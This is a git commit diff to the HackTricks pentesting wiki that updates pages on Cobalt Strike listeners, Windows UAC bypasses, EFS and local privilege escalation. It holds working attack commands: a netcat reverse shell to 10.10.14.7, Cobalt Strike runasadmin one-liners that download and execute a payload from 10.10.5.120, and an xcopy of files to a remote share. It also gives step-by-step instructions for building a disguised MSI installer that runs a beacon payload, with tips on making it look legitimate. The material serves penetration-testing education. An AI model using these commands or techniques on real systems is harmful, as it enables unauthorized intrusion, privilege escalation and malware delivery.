GitBook: [#3367] No subject
This commit is contained in:
CPol
gitbook-bot
parent
9c920d3e26
commit
f1a0bdb8ae
|
|
@ -2,13 +2,24 @@
|
|||
|
||||
### Listeners
|
||||
|
||||
Cobalt Strike -> Listeners -> Add/Edit then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more
|
||||
### C2 Listeners
|
||||
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` then you can select where to listen, which kind of beacon to use (http, dns, smb...) and more.
|
||||
|
||||
### Peer2Peer Listeners
|
||||
|
||||
The beacons of these listeners don't need to talk to the C2 directly, they can communicate to it through other beacons.
|
||||
|
||||
`Cobalt Strike -> Listeners -> Add/Edit` then you need to select the TCP or SMB beacons
|
||||
|
||||
* The **TCP beacon will set a listener in the port selected**. To connect to a TCP beacon use the command `connect <ip> <port>` from another beacon
|
||||
* The **smb beacon will listen in a pipename with the selected name**. To connect to a SMB beacon you need to use the command `link [target] [pipe]`.
|
||||
|
||||
### Generate & Host payloads
|
||||
|
||||
#### Generate payloads in files
|
||||
|
||||
Attacks -> Packages -> 
|
||||
`Attacks -> Packages ->` 
|
||||
|
||||
* **`HTMLApplication`** for HTA files
|
||||
* **`MS Office Macro`** for an office document with a macro
|
||||
|
|
@ -17,7 +28,7 @@ Attacks -> Packages -> 
|
|||
|
||||
#### Generate & Host payloads
|
||||
|
||||
A`ttacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
|
||||
`Attacks -> Web Drive-by -> Scripted Web Delivery (S)` This will generate a script/executable to download the beacon from cobalt strike in formats such as: bitsadmin, exe, powershell and python
|
||||
|
||||
#### Host Payloads
|
||||
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
|
||||
# Authentication, Credentials, UAC and EFS
|
||||
|
||||
<details>
|
||||
|
||||
|
|
@ -16,14 +16,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
|
||||
</details>
|
||||
|
||||
|
||||
# Security Support Provider Interface (SSPI)
|
||||
## Security Support Provider Interface (SSPI)
|
||||
|
||||
Is the API that can be use to authenticate users.
|
||||
|
||||
The SSPI will be in charge of finding the adequate protocol for two machines that want to communicate. The preferred method for this is Kerberos. Then the SSPI will negotiate which authentication protocol will be used, these authentication protocols are called Security Support Provider (SSP), are located inside each Windows machine in the form of a DLL and both machines must support the same to be able to communicate.
|
||||
|
||||
## Main SSPs
|
||||
### Main SSPs
|
||||
|
||||
* **Kerberos**: The preferred one
|
||||
* %windir%\Windows\System32\kerberos.dll
|
||||
|
|
@ -36,27 +35,27 @@ The SSPI will be in charge of finding the adequate protocol for two machines tha
|
|||
* **Negotiate**: It is used to negotiate the protocol to use (Kerberos or NTLM being Kerberos the default one)
|
||||
* %windir%\Windows\System32\lsasrv.dll
|
||||
|
||||
### The negotiation could offer several methods or only one.
|
||||
#### The negotiation could offer several methods or only one.
|
||||
|
||||
# Local Security Authority (LSA)
|
||||
## Local Security Authority (LSA)
|
||||
|
||||
The **credentials** (hashed) are **saved** in the **memory** of this subsystem for Single Sign-On reasons.\
|
||||
**LSA** administrates the local **security policy** (password policy, users permissions...), **authentication**, **access tokens**...\
|
||||
LSA will be the one that will **check** for provided credentials inside the **SAM** file (for a local login) and **talk** with the **domain controller** to authenticate a domain user.
|
||||
|
||||
The **credentials** are **saved** inside the **process **_**LSASS**_: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
|
||||
The **credentials** are **saved** inside the **process \_LSASS**\_: Kerberos tickets, hashes NT and LM, easily decrypted passwords.
|
||||
|
||||
# Credentials Storage
|
||||
## Credentials Storage
|
||||
|
||||
## Security Accounts Manager (SAM)
|
||||
### Security Accounts Manager (SAM)
|
||||
|
||||
Local credentials are present in this file, the passwords are hashed.
|
||||
|
||||
## LSASS
|
||||
### LSASS
|
||||
|
||||
We have talk about this. Different credentials are saved in the memory of this process.
|
||||
|
||||
## LSA secrets
|
||||
### LSA secrets
|
||||
|
||||
LSA could save in disk some credentials:
|
||||
|
||||
|
|
@ -65,15 +64,15 @@ LSA could save in disk some credentials:
|
|||
* Passwords for scheduled tasks
|
||||
* More (password of IIS applications...)
|
||||
|
||||
## NTDS.dit
|
||||
### NTDS.dit
|
||||
|
||||
It is the database of the Active Directory. It is only present in Domain Controllers.
|
||||
|
||||
## Credential Manager store
|
||||
### Credential Manager store
|
||||
|
||||
Allows browsers and other Windows applications to save credentials.
|
||||
|
||||
# UAC
|
||||
## UAC
|
||||
|
||||
UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user. When, the administrator executes some process **as administrator**, a **UAC elevation** is performed and if it is successfully completed, the privileged token is used to create the process.
|
||||
|
||||
|
|
@ -89,7 +88,7 @@ Then, to **bypass** the **UAC** (elevate from **medium** integrity level **to hi
|
|||
|
||||
You can **check** the _**Manifest**_ of a binary using the tool _**sigcheck.exe**_ from Sysinternals. And you can **see** the **integrity level** of the processes using _Process Explorer_ or _Process Monitor_ (of Sysinternals).
|
||||
|
||||
## Check UAC
|
||||
### Check UAC
|
||||
|
||||
First you need to check the value of the key **EnableLUA**, if it's **`1`** then UAC is **activated**, if its **`0`** or it **doesn't exist**, then UAC is **inactive**.
|
||||
|
||||
|
|
@ -97,7 +96,7 @@ First you need to check the value of the key **EnableLUA**, if it's **`1`** then
|
|||
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\
|
||||
```
|
||||
|
||||
Then you have to check the value of the key **`ConsentPromptBehaviorAdmin`**in the same entry of the registry as before (info from [here](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-gpsb/341747f5-6b5d-4d30-85fc-fa1cc04038d4)):
|
||||
Then you have to check the value of the key **`ConsentPromptBehaviorAdmin`** in the same entry of the registry as before (info from [here](https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-gpsb/341747f5-6b5d-4d30-85fc-fa1cc04038d4)):
|
||||
|
||||
* If **`0`** then, UAC won't prompt (like **disabled**)
|
||||
* If **`1`** the admin is **asked for username and password** to execute the binary with high rights (on Secure Desktop)
|
||||
|
|
@ -106,20 +105,20 @@ Then you have to check the value of the key **`ConsentPromptBehaviorAdmin`**in t
|
|||
* If **`4`** like `2` but not necessary on Secure Desktop
|
||||
* if **`5`**(**default**) it will ask the administrator to confirm to run non Windows binaries with high privileges
|
||||
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`** \
|
||||
Then, you have to take a look at the value of **`LocalAccountTokenFilterPolicy`**\
|
||||
If the value is **`0`**, then, only the **RID 500** user (**built-in Administrator**) is able to perform **admin tasks without UAC**, and if its `1`, **all accounts inside "Administrators"** group can do them.
|
||||
|
||||
And, finally take a look at the value of the key **`FilterAdministratorToken`**\
|
||||
If **`0`**(default), the **built-in Administrator account can** do remote administration tasks and if **`1`** the built-in account Administrator **cannot** do remote administration tasks, unless `LocalAccountTokenFilterPolicy` is set to `1`.
|
||||
|
||||
### Summary
|
||||
#### Summary
|
||||
|
||||
* If **`EnableLUA=0`**or **doesn't exist**, **no UAC for anyone**
|
||||
* If ** `EnableLua=1` ** and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
* If ** `EnableLua=1` ** and **`LocalAccountTokenFilterPolicy=0` ** and ** `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
* If ** `EnableLua=1` ** and **`LocalAccountTokenFilterPolicy=0` ** and ** `FilterAdministratorToken=1`, UAC for everyone**
|
||||
* If `EnableLUA=0` or **doesn't exist**, **no UAC for anyone**
|
||||
* If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=1` , No UAC for anyone**
|
||||
* If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=0`, No UAC for RID 500 (Built-in Administrator)**
|
||||
* If `EnableLua=1` and **`LocalAccountTokenFilterPolicy=0` and `FilterAdministratorToken=1`, UAC for everyone**
|
||||
|
||||
## UAC bypass
|
||||
### UAC bypass
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAS prompt appears
|
||||
|
|
@ -137,11 +136,11 @@ net user %username%
|
|||
whoami /groups | findstr Level
|
||||
```
|
||||
|
||||
### **Very** Basic UAC "bypass" (full file system access)
|
||||
#### **Very** Basic UAC "bypass" (full file system access)
|
||||
|
||||
If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB (file system) local in a new disk and you will have **access to everything inside the file system** (even Administrator home folder).
|
||||
|
||||
{% hint style="info" %}
|
||||
{% hint style="warning" %}
|
||||
**Looks like this trick isn't working anymore**
|
||||
{% endhint %}
|
||||
|
||||
|
|
@ -153,9 +152,9 @@ cd C$
|
|||
dir \\127.0.0.1\c$\Users\Administrator\Desktop
|
||||
```
|
||||
|
||||
### UAC disabled
|
||||
#### UAC disabled
|
||||
|
||||
If UAC is already disabled (**`ConsentPromptBehaviorAdmin`**is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
|
||||
If UAC is already disabled (`ConsentPromptBehaviorAdmin` is **`0`**) you can **execute a reverse shell with admin privileges** (high integrity level) using something like:
|
||||
|
||||
```bash
|
||||
#Put your reverse shell instead of "calc.exe"
|
||||
|
|
@ -163,14 +162,35 @@ Start-Process powershell -Verb runAs "calc.exe"
|
|||
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"
|
||||
```
|
||||
|
||||
### UAC bypass exploits
|
||||
#### UAC bypass with token duplication
|
||||
|
||||
You could also use some tools to **bypass UAC like** [**UACME** ](https://github.com/hfiref0x/UACME)which is a **compilation** of several UAC bypass exploits. Note that you will need to **compile UACME using visual studio or msbuild**. The compilation will create several executables (like_Source\Akagi\outout\x64\Debug\Akagi.exe_) , you will need to know **which one you need.**\
|
||||
* [https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/](https://ijustwannared.team/2017/11/05/uac-bypass-with-token-duplication/)
|
||||
* [https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html](https://www.tiraniddo.dev/2018/10/farewell-to-token-stealing-uac-bypass.html)
|
||||
|
||||
#### UAC bypass with cobalt strike
|
||||
|
||||
The Cobalt Strike techniques will only work if UAC is not set at it's max security level
|
||||
|
||||
```bash
|
||||
# UAC bypass via token duplication
|
||||
elevate uac-token-duplication [listener_name]
|
||||
# UAC bypass via service
|
||||
elevate svc-exe [listener_name]
|
||||
|
||||
# Bypass UAC with Token Duplication
|
||||
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
# Bypass UAC with CMSTPLUA COM interface
|
||||
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
|
||||
```
|
||||
|
||||
#### UAC bypass exploits
|
||||
|
||||
You could also use some tools to **bypass UAC like** [**UACME** ](https://github.com/hfiref0x/UACME)which is a **compilation** of several UAC bypass exploits. Note that you will need to **compile UACME using visual studio or msbuild**. The compilation will create several executables (like\_Source\Akagi\outout\x64\Debug\Akagi.exe\_) , you will need to know **which one you need.**\
|
||||
You should **be careful** because some bypasses will **prompt some other programs** that will **alert** the **user** that something is happening.
|
||||
|
||||
**Empire** and **Metasploit** also have several modules to **bypass** the **UAC**.
|
||||
|
||||
### More UAC bypass
|
||||
#### More UAC bypass
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
|
||||
|
|
@ -180,7 +200,7 @@ You can get using a **meterpreter** session. Migrate to a **process** that has t
|
|||
|
||||
(_explorer.exe_ should works)
|
||||
|
||||
## Your own bypass - Basic UAC bypass methodology
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](windows-local-privilege-escalation/dll-hijacking.md).
|
||||
|
||||
|
|
@ -191,13 +211,13 @@ If you take a look to **UACME** you will note that **most UAC bypasses abuse a D
|
|||
2. **IFileOperation**: Windows 10.
|
||||
4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
|
||||
|
||||
### Another UAC bypass technique
|
||||
#### Another UAC bypass technique
|
||||
|
||||
Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
|
||||
|
||||
# EFS (Encrypted File System)
|
||||
## EFS (Encrypted File System)
|
||||
|
||||
EFS works by encrypting a file with a bulk **symmetric key**, also known as the File Encryption Key, or **FEK**. The FEK is then **encrypted** with a **public key** that is associated with the user who encrypted the file, and this encrypted FEK is stored in the $EFS **alternative data stream** of the encrypted file. To decrypt the file, the EFS component driver uses the **private key** that matches the EFS digital certificate (used to encrypt the file) to decrypt the symmetric key that is stored in the $EFS stream. From [here](https://en.wikipedia.org/wiki/Encrypting\_File\_System).
|
||||
EFS works by encrypting a file with a bulk **symmetric key**, also known as the File Encryption Key, or **FEK**. The FEK is then **encrypted** with a **public key** that is associated with the user who encrypted the file, and this encrypted FEK is stored in the $EFS **alternative data stream** of the encrypted file. To decrypt the file, the EFS component driver uses the **private key** that matches the EFS digital certificate (used to encrypt the file) to decrypt the symmetric key that is stored in the $EFS stream. From [here](https://en.wikipedia.org/wiki/Encrypting\_File\_System).
|
||||
|
||||
Examples of files being decrypted without the user asking for it:
|
||||
|
||||
|
|
@ -206,25 +226,23 @@ Examples of files being decrypted without the user asking for it:
|
|||
|
||||
The encrypted files using this method can be **tansparently access by the owner user** (the one who has encrypted them), so if you can **become that user** you can decrypt the files (changing the password of the user and logins as him won't work).
|
||||
|
||||
## Check EFS info
|
||||
### Check EFS info
|
||||
|
||||
Check if a **user** has **used** this **service** checking if this path exists:`C:\users\<username>\appdata\roaming\Microsoft\Protect`
|
||||
|
||||
Check **who** has **access** to the file using cipher /c \<file>\
|
||||
You can also use `cipher /e` and `cipher /d` inside a folder to **encrypt** and **decrypt** all the files
|
||||
|
||||
## Decrypting EFS files
|
||||
### Decrypting EFS files
|
||||
|
||||
### Being Authority System
|
||||
#### Being Authority System
|
||||
|
||||
This way requires the **victim user** to be **running** a **process** inside the host. If that is the case, using a `meterpreter` sessions you can impersonate the token of the process of the user (`impersonate_token` from `incognito`). Or you could just `migrate` to process of the user.
|
||||
|
||||
### Knowing the users password
|
||||
#### Knowing the users password
|
||||
|
||||
{% embed url="https://github.com/gentilkiwi/mimikatz/wiki/howto-~-decrypt-EFS-files" %}
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Support HackTricks and get benefits!</strong></summary>
|
||||
|
|
@ -240,5 +258,3 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|||
**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.**
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
|
|
|||
|
|
@ -441,6 +441,9 @@ xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
|
|||
dir /r #Detect ADS
|
||||
more file.txt:ads.txt #read ADS
|
||||
powershell (Get-Content file.txt -Stream ads.txt)
|
||||
|
||||
# Get error messages from code
|
||||
net helpmsg 32 #32 is the code in that case
|
||||
```
|
||||
|
||||
### Listen address ACLs
|
||||
|
|
|
|||
|
|
@ -244,6 +244,12 @@ https://slaeryan.github.io/posts/falcon-zero-alpha.html
|
|||
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
|
||||
```
|
||||
|
||||
## Get permissions
|
||||
|
||||
```bash
|
||||
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
|
||||
```
|
||||
|
||||
## OS version and HotFixes
|
||||
|
||||
```bash
|
||||
|
|
|
|||
|
|
@ -214,9 +214,9 @@ You can exploit this vulnerability using the tool [**WSUSpicious**](https://gith
|
|||
## KrbRelayUp
|
||||
|
||||
This is essentially a universal no-fix **local privilege escalation** in windows **domain** environments where **LDAP signing is not enforced,** where the **user has self rights** (to configure **RBCD**) and where the **user can create computers in the domain.**\
|
||||
\*\*\*\*All the requirements \*\*\*\* are satisfied with **default settings**.
|
||||
****All the **requirements** are satisfied with **default settings**.
|
||||
|
||||
Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)\*\*\*\*
|
||||
Find the **exploit in** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
Even if the attack is For more information about the flow of the attack check [https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/](https://research.nccgroup.com/2019/08/20/kerberos-resource-based-constrained-delegation-when-an-image-change-leads-to-a-privilege-escalation/)
|
||||
|
||||
|
|
@ -262,6 +262,21 @@ Read this tutorial to learn how to create a MSI wrapper using this tools. Note t
|
|||
[create-msi-with-wix.md](create-msi-with-wix.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Create MSI with Visual Studio
|
||||
|
||||
* **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe`
|
||||
* Open **Visual Studio**, select **Create a new project** and type "installer" into the search box. Select the **Setup Wizard** project and click **Next**.
|
||||
* Give the project a name, like **AlwaysPrivesc**, use **`C:\privesc`** for the location, select **place solution and project in the same directory**, and click **Create**.
|
||||
* Keep clicking **Next** until you get to step 3 of 4 (choose files to include). Click **Add** and select the Beacon payload you just generated. Then click **Finish**.
|
||||
* Highlight the **AlwaysPrivesc** project in the **Solution Explorer** and in the **Properties**, change **TargetPlatform** from **x86** to **x64**.
|
||||
* There are other properties you can change, such as the **Author** and **Manufacturer** which can make the installed app look more legitimate.
|
||||
* Right-click the project and select **View > Custom Actions**.
|
||||
* Right-click **Install** and select **Add Custom Action**.
|
||||
* Double-click on **Application Folder**, select your **beacon.exe** file and click **OK**. This will ensure that the beacon payload is executed as soon as the installer is run.
|
||||
* Under the **Custom Action Properties**, change **Run64Bit** to **True**.
|
||||
* Finally, **build it**.
|
||||
* If the warning `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` is shown, make sure you set the platform to x64.
|
||||
|
||||
### MSI Installation
|
||||
|
||||
To execute the **installation** of the malicious `.msi` file in **background:**
|
||||
|
|
@ -1481,6 +1496,7 @@ If you manages to **hijack a dll** being **loaded** by a **process** running as
|
|||
[**Watson**](https://github.com/rasta-mouse/Watson) -- Search for known privesc vulnerabilities (needs to be compiled using VisualStudio) ([**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/watson))\
|
||||
[**SeatBelt**](https://github.com/GhostPack/Seatbelt) -- Enumerates the host searching for misconfigurations (more a gather info tool than privesc) (needs to be compiled) **(**[**precompiled**](https://github.com/carlospolop/winPE/tree/master/binaries/seatbelt)**)**\
|
||||
[**LaZagne**](https://github.com/AlessandroZ/LaZagne) **-- Extracts credentials from lots of softwares (precompiled exe in github)**\
|
||||
****[**SharpUP**](https://github.com/GhostPack/SharpUp) **-- Port of PowerUp to C#**\
|
||||
[~~**Beroot**~~](https://github.com/AlessandroZ/BeRoot) **\~\~**\~\~ -- Check for misconfiguration (executable precompiled in github). Not recommended. It does not work well in Win10.\
|
||||
[~~**Windows-Privesc-Check**~~](https://github.com/pentestmonkey/windows-privesc-check) -- Check for possible misconfigurations (exe from python). Not recommended. It does not work well in Win10.
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue